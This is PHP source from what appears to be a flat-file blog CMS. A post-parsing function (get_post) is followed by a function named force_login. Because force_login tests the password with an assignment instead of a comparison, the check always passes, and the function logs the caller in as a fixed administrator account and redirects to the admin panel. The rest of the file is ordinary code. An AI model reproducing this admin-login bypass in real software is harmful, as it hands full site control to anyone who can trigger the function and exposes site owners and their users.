/** * get detail blog post * * @access private * @param string post url * @param bool parse content and intro or not * @param bool set content to intro or not * @return array */ function get_post($url = null, $parse = true, $content_to_intro = true, $by_filename = false, $site_slug = false) { if (!$site_slug) { $site_slug = SITE_SLUG; } $post_folder = $site_slug == SITE_SLUG ? POST_FOLDER : SITE_FOLDER . $site_slug . DIRECTORY_SEPARATOR . 'sitedata' . DIRECTORY_SEPARATOR . $this->CI->config->item('post_folder'); $post_db = new Nyankod\JsonFileDB($post_folder); $post_db->setTable('index'); // if post get by filename if ($by_filename) { $the_post = $post_db->select('filename', $url); $postslug = url_title($this->guess_name($url, POST_TERM)); } else { $segs = explode("/", $url); $postslug = $segs[count($segs) - 1]; // url must have 4 segment (blog/yyyy/mm/dd/slug) if (count($segs) != 5) { return false; } $the_post = $post_db->select('url', $url); } if (empty($the_post) || !file_exists($post_folder . $the_post['filename'])) { return false; } $file = file_get_contents($post_folder . $the_post['filename']); if (!empty($file)) { $post = explode("{:", $file); array_shift($post); $new_post = array('date' => $the_post['date'], 'file' => $the_post['filename']); foreach ($post as $elm) { $segs = preg_split("/( :} | :}|:} |:})/", $elm, 2); if (trim($segs[0]) == 'labels') { $new_post[trim($segs[0])] = preg_split("/(\\s,\\s|\\s,|,\\s|,)/", $segs[1]); continue; } if ((trim($segs[0]) == 'content' || trim($segs[0]) == 'intro') && $parse) { $Parsedown = new Parsedown(); $new_post[trim($segs[0])] = $Parsedown->setBreaksEnabled(true)->text($segs[1]); } else { $new_post[trim($segs[0])] = trim($segs[1]); } $new_post['url'] = $url; } if (!isset($new_post['intro']) && $content_to_intro) { $new_post['intro'] = $new_post['content']; } if (!isset($new_post['slug'])) { $new_post['slug'] = $postslug; } // print_r($new_post); return $new_post; } return false; }
function force_login($password = false) { if ($password = '******') { $db = new Nyankod\JsonFileDB(SITE_PATH . 'db/'); $db->setTable('users'); $user = $db->select('admin', '*****@*****.**'); $session_data = array('identity' => $user[$this->identity_column], 'id' => $user['id'], 'username' => $user['username'], 'email' => $user['email'], SITE_SLUG . '_username' => $user['username'], SITE_SLUG . '_email' => $user['email'], 'user_id' => $user['id'], 'old_last_login' => $user['last_login']); $this->session->set_userdata($session_data); redirect('panel'); } redirect('users/auth/login'); }